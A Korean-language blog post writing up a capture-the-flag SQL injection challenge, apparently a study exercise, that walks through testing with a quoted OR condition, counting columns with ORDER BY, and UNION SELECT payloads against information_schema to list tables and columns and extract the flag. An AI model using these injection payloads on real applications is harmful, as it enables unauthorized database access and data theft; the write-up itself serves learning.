[CTF] SQL Injection 1

CHIKA·2024년 5월 27일

CTF

목록 보기
4/6

문제 페이지에 들어가니 테이블이 출력되어 있다.

1. SQL Injection이 가능한지 확인.

mario' or '1'='1 을 입력했더니 mario를 출력한다.

2. 컬럼 수 확인.

📚 order by

select 컬럼 from 테이블이름 where 조건 order by [컬럼명][desc/asc];

order by desc : 내림차순
order by asc: 오름차순 (디폴트)
order by 1 : 첫번째 컬럼을 기준으로 오름차순 정렬

order by 4로 입력하면 4번째 컬럼을 기준으로 오름차순 정렬이다.
이걸 이용하여 테이블의 컬럼 개수를 확인할 수 있다.
order by 5 는 결과가 뜨지 않으니 컬럼 개수는 4개이다.

3. 데이터베이스이름 확인

database()

를 이용하여 데이터베이스명을 확인할 수 있다.

📚 UNION

/*ex*/select 컬럼1,컬럼2 from 테이블이름 where 조건 union select~~~

여러 개의 SQL쿼리를 하나로 합친다.
주의할 점은 컬럼의 개수가 같아야 한다.
UNION은 중복을 제거한다. 중복을 제거하지 않으려면 UNION ALL을 사용한다.

4. 테이블이름 확인

information_schema 이용하여 테이블 이름을 확인할 수 있다.

📚information_schema
MySQL 서버 내에 존재하는 DB의 메타정보(테이블,컬럼,인덱스 등)를 모아둔 DB이다.
읽기전용으로 수정이 불가능하다.
이 문제에서 사용할 것은
Columns와 tables 이다.
columns : 모든 스키마의 컬럼 확인
tables : 생성된 모든 테이블 정보

' union select 1,table_name,3,4 from information_schema.tables where table_schema='sqli_1'#

를 입력했더니
flag_table, plusFlag_table, user_info
테이블 3개를 확인 할 수 있다.

5. 컬럼이름 확인

flag_table의 컬럼명을 알아보려고 한다.

' union select 1,column_name,3,4 from information_schema.columns where table_name='flag_table'#

입력 시 결과

컬럼명 flag 확인.

6. 데이터 확인

' union select 1,flag,3,4 from flag_table #

플래그 확인!

참고자료
https://rk1993.tistory.com/230

0개의 댓글